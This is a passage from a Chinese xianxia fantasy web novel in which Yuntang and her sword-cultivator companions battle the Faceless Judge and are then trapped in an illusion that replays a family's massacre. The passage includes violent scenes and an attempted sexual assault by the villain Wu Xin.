解决了尸鬼,再躲开无面判官,他们一行人就能回家了吧?
云棠双手合十,默默许愿,老天,求求你了,让我们回家吧。
可惜,老天一点也没关照她。
她才刚许完愿,前方又漫开一大片黑烟,温良平原本还在为江千寒护法,那黑烟袭来,直接把温良平撞飞了。
江千寒挥剑指向黑烟:“躲了这么久,还不现身?”
话音刚落,黑烟里走出来一个清瘦女人,她穿着一套素净道袍,头上蒙着一层厚重白纱,纱布随风飘动,露出了下半张脸,唇角微微弯曲,似笑非笑。
她的双手和双脚全都裸露在外,没有皮肤和血肉,只有一节一节的嶙峋白骨。
她漂浮在空中,俯视着他们,忽然开口说话了,声音浑厚,震荡而来:“你们看见那张白纸,有多久了?”
“关你什么事。”池归雪冷冷回答。
那女人笑了一声,似乎觉得他很有趣,缓缓竖起一根白骨手指,抵在自己唇边。
她说:“禁声,白纸封面。”
两张白纸从天而降,其中一张飞向了池归雪。
池归雪跳出结界,一剑直劈过去,那白纸却像是什么活物似的,飞速绕开了剑锋,贴在了池归雪的脸上。
眨眼之间,另一张白纸落在了金光结界之上。
此时此刻,云棠什么都看不见,什么都听不见了,说不出一句话,也丧失了触觉。
她想伸手触摸自己的脸,却不知道手指在哪里,甚至感觉不到自己是否还站在地上?
所有的感官,都被剥夺了。
灵魂漂浮在虚空里,时间也没有意义了,周围一切都是静止的,困住了她的意识。
她吓得想哭,可是眼泪也流不出来。
那个古怪的女人,一定就是无面判官!
上古魔尊座下,四大护法之一。
百年前的仙魔大战,是有史以来最惨烈的战争,比八年前那一场残酷得多,整个仙门联手出击,不知折损了多少性命,才将四大护法铲除干净。
云棠信任江千寒,可她也知道,杀死无面判官,不是一瞬间的事。
她强迫自己镇定下来。
白纸没有穿透结界,只是吸附在外面,说明结界还在,她还是安全的。
她不知道池归雪怎么样了,那一张白纸是直接贴在他脸上的,比她更惨,简直惨透了。
怎么办?
怎么办……
内心深处,隐约传来一个细弱的声音:“我还在……”
是谁?
她的感官已经被封印了,为什么还能听见别人说话?
那个声音又响了一次,一字一顿,小心翼翼:“我,小青……”
云棠猛然反应过来,这声音不是耳朵听见的,是小青通过灵宠契约的联系,把自己的意识传入了她的神魂。
这也是她第一次听见小青说话,声音轻轻细细,单纯又谨慎,非常可爱。
云棠在心里喊它:“小宝呢?小宝怎么样了?”
小青诚实回答:“它……吓晕了……”
云棠很心疼,思绪却没有停止。
为什么小宝被封印了,小青却没事?
无面判官方才那一招,名叫“白纸封面”。
封面。
云棠忽然想通了,这个咒语封禁的是脸,是头颅,是一切处理感官的器官。
小青是木灵藤,从头到尾就是一株藤蔓,根本就没有脸!
没有脸,白纸就封不住它。
云棠在心里拼命呼喊:“小青!快帮我把白纸揭开!”
小青感应到了她的意念。
云棠不知道过了多久,也不知道小青用了什么办法,只觉得眼皮里渐渐透进一丝光线。
她睁开了双眼,眼前景象从模糊变得清晰,金铁交击的声响一瞬间灌入耳中。
江千寒正在劈砍一群白骨妖,每一剑都是连招,招招不断,动作不曾有一丝停滞,剑下金光万丈,比太阳更闪亮,他显然已经被激怒了,剑势狂暴,不死不休。
云棠看不清他的身影飞到了何处,只见金光漫天,卷起千万团雷火,炸得地上满是一片骨灰。
云棠吸了一大口气,如同溺水之人终于浮出了水面。
她调整呼吸,低下头,看见小青的一根藤蔓伸到了结界之外,尖端还卷着一张白纸,藤蔓上布满了粘液,萦绕着一缕纯黑魔气,白纸贴在粘液上,似乎把它当成了同类,并未伤害它。
云棠又记起来,池归雪和她说过,其实,木灵藤是魔界灵植。
云棠来不及多想,连忙喊道:“小青,你真好,快去帮池归雪。”
小青就像小狗一样听话,迅速爬到了池归雪脚边,伸长了一根藤蔓,卷住白纸一角,猛地一扯,白纸脱落了。
池归雪摇晃了几下,差点摔倒。
他扶住了剑柄,剑鞘压在地上,勉强稳住了身形。
他脸色惨白,大口喘着粗气,肩上旧伤又渗出了新血,却还是硬撑着站直了。
他念出口诀:“凌苍剑宗,烈日,金乌降世。”
为了使出这一招,他几乎用尽了全力,召唤出一只三足金乌的虚影,周身浮动着一片太阳真火。
小青明白了他的意思,马上把白纸丢进火里,烧成了灰烬,那金乌也瞬间消失了。
四周魔气依旧浓重,小青却像是回到了故乡,藤蔓舒展开来,碧绿鲜亮,它在魔气中游来游去,自在惬意,快活极了。
看到小青这么高兴,云棠忽然有点想笑,可是,这都什么时候了,她怎么还笑得出来,也许她已经被吓傻了吧?她摸了摸怀里的小宝,小宝才刚刚恢复神智,还把头埋在她怀里,迟迟不肯抬起来。
地面忽然开始震动,地砖接连崩裂,碎石上下弹跳,撞到了结界的边缘。
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云棠抬头望去,无面判官的身躯碎裂了,又有一具庞大骨架从骨灰中升起,白骨一节一节生长,越长越高,刺穿了夜空,双臂横展开来,竟然比这条街还长。
它抬起巨大骨掌,劈向了江千寒。
江千寒直飞上天,天上翻出一片密集雷云,闪电在云层里横冲直撞,劈啪作响,他一剑划过云层,万千雷火飞驰过来,缠上了剑身,他沉声道:“雷霆,天罚,九霄神怒!”
池归雪听见“雷霆”二字,立即冲进了金光结界之中,又掐出一道法诀,一股剑风卷出去,把倒在远处昏迷不醒的温良平也拖了进来。
云棠连忙呼唤小青:“快回来,小青!”
小青看见天上的雷云,跑得比兔子还快,藤蔓在地上一滚,一溜烟钻进了结界,卷成了一个球。
云棠抱着小宝和小青,蜷缩在结界的角落里。
天上看不到一朵云了,只剩一片翻滚的雷海,江千寒挥剑一斩,紫色电光环绕剑身,剑气带着雷鸣之声,震动天地,劈在了那具巨大白骨之上,余波扫过长街,所有店铺都坍塌了,那些尸鬼也是一个不剩,全部化成了烟雾。
沙尘冲天而起,高达数百丈,无边无际,遮蔽了一切景象。
云棠震惊地睁大了双眼。
池归雪感叹道:“这场面,千年难遇,我从未见过师兄这样出手,可惜我手伤了,不然真想一笔一笔记下来。”
云棠问:“记下来,给谁看呢?”
“给我爹娘, ”池归雪坦然道,“他们也是剑修。”
云棠又问:“他们也在仙界吗?”
池归雪摇了摇头:“他们一直住在人间,四处游历。”
又是“轰隆”一声巨响,烟雾散开,那一具白骨已是一片粉碎,粉尘还在地上颤动,眼看着又要重聚起来,江千寒反手扫过一阵剑风,把骨灰划进一个圆圈里。
江千寒左手掐诀,右手握剑,储物袋里飞出一座玲珑宝塔。
这宝塔是仙界灵玉雕成的,光泽剔透,刚飞出来时,只有几寸大,漂浮在空中,渐渐膨胀,塔身上布满了紫色符文,一列一列亮起来,云棠目不转睛地盯着它,还能看见闪电在每一个字符上飘移流窜。
塔底轰然落下,镇压在骨灰之上,雷火织成了一张网,兜住了骨灰之下的泥土,密不透风。
“这个无面判官,还没死吗?”云棠惊呆了。
池归雪望着宝塔:“没那么容易死,只能先把它镇压了。
江千寒从远处瞬移回来,收掉结界,抬手揽过云棠。
她指尖搭上了他的手腕,好烫啊,烫得她手指火辣辣的,仍然不想松开。
他连续战斗了将近两个时辰,杀敌,驱魔,封印,镇压,一刻也没停过,他一定很累吧?可他没说一句话,只像平常一样牵着她。
云棠轻轻捏了捏他的掌心:“我们可以回家了吗?”
“走吧,”江千寒又把云棠扛了起来,“一起回家。”
池归雪没有跟上来,他蹲在温良平身旁,从自己口袋里找出一粒仙丹,送入温良平口中,丹药入口即化,淡红暖光溢出他唇角,缓慢修补他的气脉,过了片刻,他渐渐转醒:“贤侄……什么时辰了?”
他额头上的伤口已经止血了,呼吸依旧紊乱。
阵修毕竟不是剑修,没有剑气护体,无法抵抗强悍魔气,或许魔气仍在侵蚀他的内息,他还没理顺自己的灵力。
池归雪站起来:“师叔放心,师兄已经镇压了无面判官,我们必须尽快离开。”
温良平扶着九环剑,慢慢站起身子,环视四周,只看见一片废墟:“那些商铺里的人……”
池归雪摆了摆手:“我们来这里之前,街上就没有一个活人了。”
温良平不再追问,跟着江千寒继续往前走。
天上还飘着几盏红纱灯笼,火光暗淡,隐约照出一座巍峨高楼。
云棠问:“那是什么地方?”
江千寒轻声道:“望月楼,商灯夜市第一高楼,站在楼上喊话,夜市里的人都能听见。”
云棠攥紧了他的衣领,轻轻拂开一点灰尘,又把自己的脸颊贴近他:“我最喜欢‘云江楼’,因为那是我和你的家。”
云棠闭上眼睛,仿佛能看见家门口上悬挂着的木牌,“云江楼”这三个字,是她亲手刻上去的,那时候,她和江千寒成婚还不到一年。
他们二人的生活很简单,也很平静,每隔几天,便会去镇上赶集,零食铺子的老板都是熟面孔,远远看见他们走近,就会把新炒的葵花籽用荷叶包好,笑着递过来。
早晨出门,傍晚回家,一进门就钻进厨房做饭,他洗菜切菜颠锅掌勺,很少让她动手,她就在一旁煮些甜羹,明明肚子很饿,心情却好得不得了。
她真的很想回家。
风里还带着雾气,迎面吹来,鼻尖凉了,耳朵也凉了,寒意遍布全身上下,她睁开双眼,只望见远山重影。
江千寒轻抚她的脸颊,说话的声音比平时更低沉:“我会带你回家,也会治好你的病。”
18.幻境
云棠打了一个哈欠:“不知道为什么,我有点困,好困啊……”
江千寒手扶着她头顶,让她把脑袋枕在他肩上:“困了就睡,也许醒来就到家了。”
云棠把额头抵在他锁骨上,使劲蹭了蹭,好喜欢他身上的气味,清淡,凛冽,比她闻过的任何花草都好闻。
刚刚逃过一劫,现在她太累了,身体逐渐放松了,意识也有些模糊了,只剩下一个念头,她好喜欢他,喜欢到想在他身上打个滚。
温良平忽然抬手,指向前方:“那是商灯夜市的主事楼。”
云棠揉了揉眼睛,勉强侧过头,眺望了一瞬。
山脚下立着一栋木楼,约有十丈高,四周依旧一片漆黑,那楼里却是灯火通明,暖黄灯光从纱窗里照出来,许多人影在光线中走动。
楼外环绕着一层透明结界,轮廓清晰,表面上凝结了一点水雾。
池归雪直接走了过去:“也许他们知道出口在哪里。”
温良平附和道:“先去看看吧。”
云棠趴在江千寒肩头,凑到他耳边,悄悄说:“我们在结界外面偷偷看一眼就走,千万别进去。”
江千寒答应道:“好,听你的。”
风声渐急,他又带着她瞬移了,她眨了眨眼睛,他们二人已经落到了山脚下。
主事楼近在眼前,看起来更加宽敞气派,烟灰色墙面、朱红色铁门,全都擦拭得一尘不染,门楣上还挂着四盏纱灯,光芒四射,方圆一里之内,找不到半点鬼影。
大门缓缓敞开了。
一位身穿青衫白袍的年轻男子走出来,面容清秀,眉目含笑,双手抱拳,行了一个大礼:“在下是这里的管事,杨晓生,今日何其有幸,竟能迎接几位仙君大驾光临。”
云棠实在没想通,这个杨晓生,好像根本不知道外面发生了什么事,他怎么还能笑得出来?
她忍不住问:“你不知道外面闹鬼了吗?闹得很凶,到处都是尸鬼,还有无面判官。”
杨晓生脸上的笑意收敛了几分,连忙躬身:“都是在下监管不力!商灯夜市虽在人间,终归是魔界地盘,想来是几位仙君出身名门正派,仙气过于精纯,这才引得那些孽障一路尾随……”
云棠再次打断他的话:“街上已经没有人了。”
杨晓生愣了片刻,又堆起笑脸:“大家提前收到了消息,全都撤退到了结界里,几位仙君请放心。”
他侧身让出一条路:“快,里面请!楼里准备了上好的药材,两位仙君伤势不轻,不管怎么说,还是疗伤要紧……”
他的目光落在池归雪肩上。
池归雪的伤口又崩开了,血水重新渗了出来,他自己却浑然不觉,仍然握着剑,站得笔直。
杨晓生又做了一个手势:“诸位,里面请。”
江千寒站在原地,纹丝不动。
杨晓生的笑容僵了一瞬:“仙君,这是何意?”
江千寒语气淡漠:“你从哪里来的?”
杨晓生低下头:“天下第一剑修果然英明神武,您要是信不过在下,在下绝不敢勉强,只是今日几位仙君远道而来,想必是有要事在身,需要什么东西,尽管开口,就当是我们向您赔个不是了。”
江千寒只问了一句:“出口在哪里?”
杨晓生招手,唤来一名侍从:“既然如此,在下这就派人送几位出去……”
温良平微微一笑:“不必劳烦,告诉我们方位就好。”
杨晓生面朝池归雪,拱手道:“这位仙君的伤势,又要如何处理?”
池归雪单手从口袋里翻出一只白瓷小瓶,牙齿咬开木塞,把止血散全洒在了肩头。他盯着杨晓生,又问了一遍:“出口在哪里?”
杨晓生还在劝他:“您这伤口,若不及时包扎……”
池归雪的目光锐利如寒星:“不碍事,你只需回答我的问题。”
杨晓生抬头一指:“西北侧有一条大河,沿着河岸向东走,便能找到出口。”
他还说:“商灯夜市人来人往,总有些人闹事赖账,出口也就设置得隐蔽了些,还请几位仙君见谅。”
在河岸上走,真能找到出口吗?
会不会再次遇到尸鬼?
云棠眉头一皱:“外面那么多尸鬼,到底是怎么回事?”
杨晓生叹了一口气,一脸惋惜:“有些魔修生前走火入魔,死后怨气不散,久而久之,就变成了尸鬼,每年都会闹上几回,让诸位受惊了,实在抱歉。”
江千寒不再看他,抱起云棠,转身离开了。
池归雪和温良平跟上江千寒的脚步,谁也没有回头。
温良平擦了擦自己额头上的血迹:“若是再遇上方才那样的险境,你们不要犹豫,带着云姑娘先走,我来断后。”
池归雪回应道:“师叔,我们一起来的,不可能把你一个人丢下。”
温良平收回了九环剑:“你们若是有个好歹,我回去以后,怎么跟掌门交代?临行前,掌门师兄再三嘱咐过我,无论如何,不能让你们有一点闪失。”
师叔真好啊,云棠在心里暗想。
主事楼的灯火渐渐远去,高楼铁门隐入夜色里,这一眼望过去,那处地方只剩一个圆圆的光点,飘渺不定,云棠这才知道,他们已经走出了至少三十里远。
云棠抱怨道:“我觉得杨晓生在骗我们。”
江千寒并未接话。
云棠又说:“那些尸鬼身上的怨气积累了二十年,不像是自己走火入魔的,更像是……被人折磨了很久,然后杀掉了,死后还要继续遭受折磨。”
池归雪冷冷道:“魔修嘴里没一句真话。”
云棠问:“那我们还要去河边吗?”
江千寒断定道:“从河边走,那是唯一能回家的路。”
天上乌云消散,一轮冷月挂在西边,月光落在河面上,水波粼粼,两岸芦苇随风摇曳,沙沙作响,又在风中一丛一丛伏低了。
他们在岸上走了一段路。
河水变得有些浑浊,颜色越来越深,起初是浑黄,后来转为深红,一股腥甜气味从河面上飘过来,钻进鼻腔,云棠不由得打了个喷嚏,再转头一看,河道上溢满了血水,浓稠黏腻,芦苇根部全都染上了血红色。
困意被血腥气冲散了大半,云棠紧紧攥住江千寒的衣领:“杨晓生是故意把我们引到这里来的!”
温良平快步上前,低声道:“赶紧摸一下乌木手镯,稳住心神,别慌。”
他又说:”幸好我们当时没进主事楼,不知那里还有什么陷阱。“
云棠握住了手腕上的沉香乌木镯,镯子紧贴皮肤,药力沁入经脉,情绪平定了,她心里还有些害怕。
但她选择相信江千寒。
他知道自己要去哪里,他一直都知道。
江千寒低头在云棠耳边说:“我给你的护心玉坠、护身手镯都不能摘下来。”
云棠点头:“嗯嗯,护心玉坠挂在了脖子上,护身手镯戴在左腕上,我不会把它们摘下来的。”
这句话才刚讲完,她又问:“万一玉坠和手镯都碎了呢?”
江千寒说:“碎了也没关系,我会找到你。”
云棠小声说:“万一找不到呢……”
江千寒毫不犹豫:“上天入地,都能找到。”
河道向前延伸,岸边一座青山越来越近,山上树林茂密,杂草丛生,山下立着一座三进三出的宅院,门前绵延一片碧绿竹林,本该是个好地方。
可惜,河水里流动着血水,那宅子肯定也会闹鬼。
云棠原本不想多看,还没来得及收回目光,眼角视线一瞥,又见到了那个刀疤脸!
她不会忘记他的!
那个刀疤脸,背后斜插着一把铁刀,腰间悬挂着一沓黄白色符纸,依旧是那副肮脏模样,正站在院子里,身边还围着十几个同伙,脚下躺着一地血淋淋的尸体。
“那是幻影,还是尸鬼?”云棠问。
江千寒抬手甩出一道法诀,一团猛火破空飞去,落在竹林里,火光冲天而起,把那座宅子和所有鬼影全烧干净了。
江千寒语气平淡:“是灰尘。”
云棠长舒一口气:“嗯,就是灰尘。”
她不再害怕河流里的血水了,也许都是幻影呢?
河道尽头已经不远了,依稀能望见一堵黑墙,江千寒加快了脚步。
雾气忽然变得浓重,遮掩了夜空,天地间不再留存一丝月光,不知从哪里飘来几盏灯笼,光线透下来,红影朦胧,照出一座凭空出现的宅院。
还是那一座宅院,三进三出,青瓦白墙,门前种满了碧绿湘妃竹。
云棠在心里暗叹一声,又闹鬼了!江千寒刚才明明把这个宅院烧掉了啊?
宅门正好挡住了他们的去路,这一次,院中没有尸体,也没有刀疤脸。
竹影摇曳,宅门敞开,透过一扇雕花木窗,云棠一眼望进去,卧房里的一张梨花木床上,坐着一对年轻夫妻。
两人的手腕上都戴着一条绞丝红绳,大约是他们的定情信物。
丈夫背对着云棠,云棠只能看见那位妻子,她面容柔美,眼神明亮,小腹微微隆起,看样子已有三四个月的身孕。
她手里拿着一面丝帕,帕子上绣着一对锦缎鸳鸯,针脚细密,底部还绣了一个名字:沈连音。
她的丈夫叫她“阿音”。
两人正说着家常话,好像不知道外面有人。
沈连音笑着催促丈夫:“快走吧,别把雷火引到家里来,吓到了咱们的女儿。”
说着,她抬手轻轻搭住了自己的腹部。
丈夫也笑了,语气温和:“我从第七层十段,升入第八层一段,也不算太费劲,这一次雷劫最多半天就能过去,阿音,等我回来。”
“好,”沈连音放下绣帕,“我等你。”
丈夫起身,在院中布下一层结界,反复查看了几遍,确认没有一丝遗漏,才走进里屋,和父母说了几句话,拜托二老照顾妻子。
然后他从后门走了出去,身影融入了雾色。
沈连音在屋里整理衣物,外面传来一阵嘈杂人声,她没开门,隔着门板问了一句:“你们是谁?有什么事吗?”
门被撞开了。
一群人冲了进来,砸碎了结界,问她要什么秘籍。
看到这里,云棠急坏了,很想救她:“我们快去救人吧!!”
温良平却问:“你真想救她吗?”
云棠没有一丝迟疑,几乎是喊出来的:“当然了!快点!!”
然而一切发生得太快了。
沈连音说自己没
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有秘籍,话音还没落,那些人就动手了,云棠什么都没看清,只看到一片模糊血色,几个瞬息之后,院子里陷入沉寂。
所有人都死了。
沈连音倒在门槛上,身体蜷缩,一只手往前伸,不知要伸到哪里去,才能找到活路呢。
里屋的两位老人躺在饭桌旁,桌上摆着一碗红米粥,还冒着热气。
江千寒低声道:“那是过去的事,全是幻影。”
云棠久久没有回神,又忽然认出来了,那群歹徒之中,有一个人,脸上有一条刀疤,从左眉横穿到右耳之下。
就是那个刀疤脸。
池归雪忽然开口:“丈夫渡完雷劫,回到家里,发现全家惨死,他杀了那些人复仇,杀完之后,还不解恨,把他们炼成了尸鬼,永世不得超生。”
肩膀上的伤口一阵刺痛,池归雪低头看自己的手,腕上竟然戴着一条绞丝红绳。
衣袖也变了,他穿着一件青灰色长衫,身上没有任何法宝,就连剑修的本命长剑都不见了。
他猛然抬头,看见云棠正坐在一张梨花木床上,穿着一身浅白色素净衣裙,手边放着一张丝帕,上面绣着一对锦缎鸳鸯。
云棠变成了沈连音。
而他,变成了那个丈夫。
云棠也看见了自己手腕上的红绳:“我夫君呢?!”
池归雪已经明白了发生了什么,他脸色一变:“糟了,你我二人被困在了幻境里。”
幻境?
什么幻境?
江千寒从前对云棠说过,幻境也是一种邪术,能让人魂飞魄散,只剩一具皮肉。
云棠站起来,双腿虚浮无力:“我们都会死在这里吗?”
池归雪掐出一道法诀,指尖闪过一点白光,光线摇晃,还没显形,就熄灭了。
他又掐了一道,还是熄灭了。
池归雪握紧拳头:“我从未见过如此精妙的幻境,仙界术法全部失效了。”
云棠朝门口跑去,撞上了一层坚硬屏障。
那屏障无色无形,把她弹了回来,她踉跄一步,使劲去推,根本推不动,又用拳头砸,竟然连一点波纹都砸不开,那是一道结界,无比牢固,把她封印在了这个屋子里。
“什么狗屁结界!”云棠生平第一次骂出脏话。
“池归雪!!”她回头喊他。
池归雪飞快走近:“我来试试。”
他一步跨出门槛,结界又在他身后亮起,他回头伸手,指尖也被弹开了。
他折断一根树枝,凝气运力,把内力灌注在枝头,猛劈了一下结界,然而树枝毕竟不是长剑,无法承受这么大的力道,当场炸碎了,木屑纷纷扬扬散落,结界还是纹丝不动。
池归雪的拳头砸在结界上,凸出的骨节里渗出血丝。
云棠在屋里,池归雪在屋外,两人之间隔着一道结界,谁也帮不了谁。
远处,传来了杂乱的脚步声。
“快藏起来!”池归雪提醒她。
云棠转过身,冲进院子里。
这院子比方才从窗外看到的大得多,东侧还有一间书房,木门半敞,里面坐着六个少年弟子,年纪最大的也不过才十五岁,正捧着书卷,低声诵读剑法口诀。
看见云棠跑过来,六个弟子全都抬起头,恭敬道:“师母,早上好。”
云棠明白了,这些人都是沈连音丈夫收来的徒弟。
她拍响了门板:“你们赶紧走!快回家,不要留在这里!!”
那些弟子一脸茫然,其中一人开口问:“我们每日辰时来,午时走,今日也不例外,师母怎么了?”
另一个弟子放下书卷,关切道:“师母脸色不太好,要不要先坐下歇歇?厨房里还热着粥,我去给您盛一碗。”
云棠仔细一想,这才记起来,这些弟子也被杀光了,一个都没活下来,他们的尸体会被拖到院子里,身上的财物会被搜刮一空。
脚步声越来越近,停在了正门之外。
云棠的后背直冒冷汗,胸前反倒一片灼热,她低头一看,胸口挂着的那一块护心玉坠泛起了红光,烫得吓人。
这是江千寒送她的,她贴身戴了三年,从没见过它如此反应,看来她当真落入了险境,若是在幻境里被杀死,神魂也会消散,那就再也醒不过来了。
大门被一脚踹开了。
云棠从窗户里往外一看,池归雪又被结界推到了远处,根本无法靠近这一座宅子。
云棠冲回卧房,四处翻找,终于找到了一把短剑,她拔剑出鞘,剑尖直指门口:“你们……你们是谁?!”
那些人嘻嘻笑笑,云棠怒火滔天:“哪里来的孽畜?!”
为首那人的脸上,刀疤狭长,格外狰狞。
他盯着云棠手里的剑,又笑了一声:“小娘子脾气还挺大,交出秘籍,饶你不死。”
云棠反问:“什么秘籍?”
刀疤脸往前走了一步:“你丈夫无门无派,无权无势,怎么修炼到了第七层,又为何会引动仙界的使者来接应他?他手里一定有秘籍,交出来。”
云棠把剑举得更高了,剑尖对准了他的喉咙:“我不知道你在说什么!我丈夫修炼全靠他自己,你们立刻给我滚出去!!”
刀疤脸拍了拍手:“看来你是敬酒不吃,吃罚酒。”
19.新仇旧恨
“吃个屁!”云棠一剑刺了出去,直戳刀疤脸的心口。
那人身上还有一层护体罡气。
云棠手上用力,剑尖撞到了罡气,像是刺在一面铁墙上,她的虎口一阵剧痛,手臂发麻,拳峰处的骨节全都凸了起来,剑柄差点从手里滑落。
她后退半步,却没松手,双掌扣住剑柄,把全身力气灌入剑刃,飞速往前一刺,破开了一条细微裂口,剑尖在那人胸膛上划出了半寸血痕。
只是半寸而已。
她真想杀了他。
她还想替沈连音报仇。
她和沈连音一样弱小,沈连音是凡人,她也不过是个灵力低微的散修。
遇到这些歹徒,她没有一点胜算,她在他们手下过不了一招,双方实力相差太远,那差距像一座高山,横在她面前,也压在她心上。
但她宁死也不会下跪求饶,她这一生,最恨这种只敢对弱者动手的恶人。
剑鸣之声铮然一响,她怒吼道:“砍死你们!!”
刀疤脸伸出一根手指,漫不经心地拨了一下剑身,短剑断成了两截,落在地上,沦为废铁。
他胸口的血痕已经愈合,甚至没留下一丝伤疤,衣襟上的几条褶皱也抚平了,仿佛什么都没发生过。
他低头看着她,像在打量一件玩物,唇角一点一点向上提,慢慢浮起一个充满恶意的笑容:“骨头倒是硬,硬骨头嚼起来最有意思。”
云棠想和他拼命,但她身体僵硬,连一步路都走不了,双手垂放在身体两侧,她使尽全力,还是无法抬起一根手指。
她猛然反应过来,他对她用了定身术。
眼泪从眼角滑落,她说不出话,只能瞪着他,目光中燃烧着愤恨,恨不得把他扔进油锅里活炸了。
刀疤脸弯腰凑近她,近到她能闻见他嘴里的酒臭味。
她心脏狂跳,极力调动内息,想要冲破定身术的压制,手脚依然动弹不得,嘴唇却在微微颤抖,她硬是挤出一句:“我做鬼……也不会……放过你……”
刀疤脸笑着说:“记住我的名字,武辛。”
他伸出一根沾了血的手指,在她额头上点了一下:“到了地底下,阎王问,是谁杀了你,你就说,是武辛,把你奸了又杀,杀了又奸。”
云棠从没听过这么恶毒的脏话,不敢想象他已经祸害了多少人,盛怒之下,她双眼泛红,脸颊上浮现出一条条血纹,纵横交错,不像是身娇体弱的柔美娇妻,倒像是从地府爬上来的索命女鬼。
武辛只当她是太过害怕,吓破了胆子,走火入魔了,他看她的眼神分外轻蔑:“我还没动手,你就疯了?也好,疯了就不知道疼了。”
他拔出长刀:“兄弟们,上!”
他身后那些人冲进了内院,书房里传来短促的惨叫声。
有人喃喃地喊着娘,气息尚未断绝,深陷于极度痛苦之中,什么都不记得了,像是幼童一般无助,毫无反抗之力。
云棠听出来了,这个人,就是之前要去厨房给她盛一碗热粥的年轻弟子,他穿着棉布长衫,脸上带着几分稚气,修为还不到第一层。
那些歹徒问他:“秘籍在哪里?”
他只剩一口气,便用气音回答:“没、没有秘籍……”
歹徒踩断了他的骨头,踩得嘎吱嘎吱响,他哀求道:“放……放过我……”
片刻之后,一切声音都消失了,内院里一片死寂。
血腥气飘散过来,武辛做了一个深呼吸,像是闻到了什么助兴的香气。
他一手撕开了云棠的外衫,另一手解开了自己的裤带,挺胯向前,还没碰到云棠的裙摆,云棠猛然抬腿,在他跨间狠踹了一脚,转身朝着屋外跑去。
武辛不知道云棠为什么能解开他的定身术,云棠自己也不知道,她只觉得浑身上下烧得滚烫,怒气直冲天灵盖,这一瞬间,她不怕见血,也不怕杀人,只是恼恨自己不能立即把他们全杀了。
跑向后院的路上,又有几个歹徒伸手来抓她,她胸前那一块护心玉爆发出一团猛火,把他们的手臂都烧焦了,那些人疯了似的甩着手,快步退开,吼叫道:“什么鬼东西?!”
云棠冲到了门口,护心玉撞上了一道结界,玉石表面裂开一道细纹,“啪”的一声脆响,护心玉碎了,结界也碎了。
云棠跌跌撞撞冲了出去,越跑越快,终于在山脚下找到了池归雪,他看到她身上只穿着一件内衫和一条罗裙,正要脱下自己的衣裳扔给她,她连忙制止:“快跑!来不及了!我不冷!!”
两人还没跑出十丈远,武辛已经带着一群人追了上来。他亮出长刀,刀刃上还沾着鲜血,仍未干透。
池归雪把云棠护在身后,手里紧握着一把石剑,那是他自己磨出来的,虽有剑形,剑刃却不齐整。
武辛目光一扫,又笑了一声,他挥刀一劈,念出口诀:“快刀,千刀万剐!!”
刀光一闪,化作了万千刀影,猛砍过来。
池归雪飞身跃起,双手握住石剑,挥剑从刀影上接连斩过:“霜雪,冰冻万丈!”
大雪从天而降,寒风裹着冰霜一道一道横扫而过,许多刀影冻在了半空之中,凝成了一片冰晶,可还是有几道刀光穿透了冰层,切入池归雪的身体。
每一刀都割出了至少三寸长的伤口,割开了他的前胸、侧肋和手臂,血水喷出来,洒在白雪上,浸透了他的衣衫,那一把石剑上也显现出裂纹,从剑尖延伸到剑柄。
云棠轻声道:“我来给你包扎伤口吧。”
池归雪摆了摆手:“趁现在,快走。”
云棠转头一看,坚冰已经横在了武辛面前,厚达数丈,冻住了他的躯体,也冻住了他身后所有人。
池归雪踉跄着往前走,脸色惨白,几乎没有一丝血色,嘴唇也是乌青的,他又说了三个字:“大嫂,跑。”
云棠慌忙翻找自己的衣袖,根本找不出一点金创药,她只能撕下一截衣袖,飞快缠在他臂膀上,勉强止住了血流,又带着他往山上跑。
云棠记得,江千寒教过她,功法口诀分为两段,第一段是心法,第二段是招式。
池归雪刚才使出的“霜雪”,应该是他的本命剑法,威力极强,劲力极猛。
但他身处幻境之中,手上没有本命剑,灵力也被压制了大半,强迫自己使出本命剑法,等同于燃烧元神。
他在拿命换时间。
逃亡路上,池归雪的伤口再次崩裂,血水滴在山道一侧,把草木都染成了血红色。
他的额头上冷汗淋漓,指甲泛出一层青白,呼吸声变得粗重,脚步却没停下。
云棠在心里默念道:“琼华仙府,天地阵法,天干地支纲领,乙卯,百草回生阵。”
这个口诀,是温良平传授给她的,可以疗伤止血,治病救人。
她定了定神,双手合十,又缓缓分开,掌心里亮起一点白光,光芒凝聚,化作一只灵兔,轻轻一跃,落在池归雪肩上。
伤口没有立刻愈合,不过,血流明显减慢了,很快便止住了。
池归雪有些惊讶:“多谢大嫂。”
云棠叹气:“别说这些了,走吧。”
山间寒雾弥漫,血腥气在风中一点点散开。
东边隐隐传来人声,断断续续,云棠听不清他们在说什么,只听见了“搜山”两个字,恐怕是武辛的同伙又追上来了。
云棠和池归雪只能往西边走。
山路崎岖,地势陡峭,每一步都不平稳,云棠摔倒了好几次,从泥地里爬起来,双手扶住了路边岩石,然而石头棱角尖锐,锋利得像刀,她手心里全是血迹,不知走了多久,她已经筋疲力尽。
天色灰暗,山上寒气渐重,雾色也是越来越浓,云棠累得喘不上气,眼前一切景物都在寒雾里扭曲了。
脚底又传来一阵刺痛,她低下头,看见石子路上长出了一丛丛青草,叶片细长,边缘锋利,刺穿了她的鞋底,扎进脚心,袜子里一片温热,早就被血水浸透了。
好疼,疼得她眼眶发热,泪水涌上来,她胡乱抹了一把眼泪,强忍着没哭出声。
无论如何,她都要离开幻境。
冷风从背后吹来,夹杂着哭嚎声,在山谷里回荡。
她从前好像听过这个声音,在哪里听过呢?
她仔细想了想,终于想起来了,在通往商灯夜市的那条路上,十五个魔修拦住了她的去路,他们动用了“百鬼夜行”、“万鬼噬魂”,当时,无数猛鬼从地下钻出来,嘶鸣哭嚎,直攻神魂。
那时候,江千寒还在她身边,他只出了一剑,所有鬼影都消散了。
对了,江千寒还在等她,她不能死在这里。
“我要回家,”云棠一遍一遍告诉自己,“我要回家。”
我一定要回家。
手背上又浮出了几条红色血纹,爬过指缝,一直延伸到指尖。
云棠一点也不害怕,反而觉得身上涌起一股暖意,双腿不像之前那么沉重了,神智也清醒了不少。
路边一棵老树上缠着一大片藤蔓,碧绿叶片在风里打着卷,云棠忽然想起了小青。
她闭上眼,在心里呼唤它:“小青,小青?”
没有回应。
云棠皱紧了眉头,她和小青签下了神魂契约,按理说,无论相隔多远,小青都能感应到她的意念,为什么,现在她在幻境里,小青却不出声呢?
或许,设下这个幻境的人早就猜到了她会召唤灵宠,故意增加了一道屏障,隔断了她与小青之间的感应。
如何才能越过那一道屏障?
神魂契约已经结成,不可能被完全切断。
她仔细回忆当初结契时的口诀:“血脉相连,魂梦相依……”
对了,血脉相连!
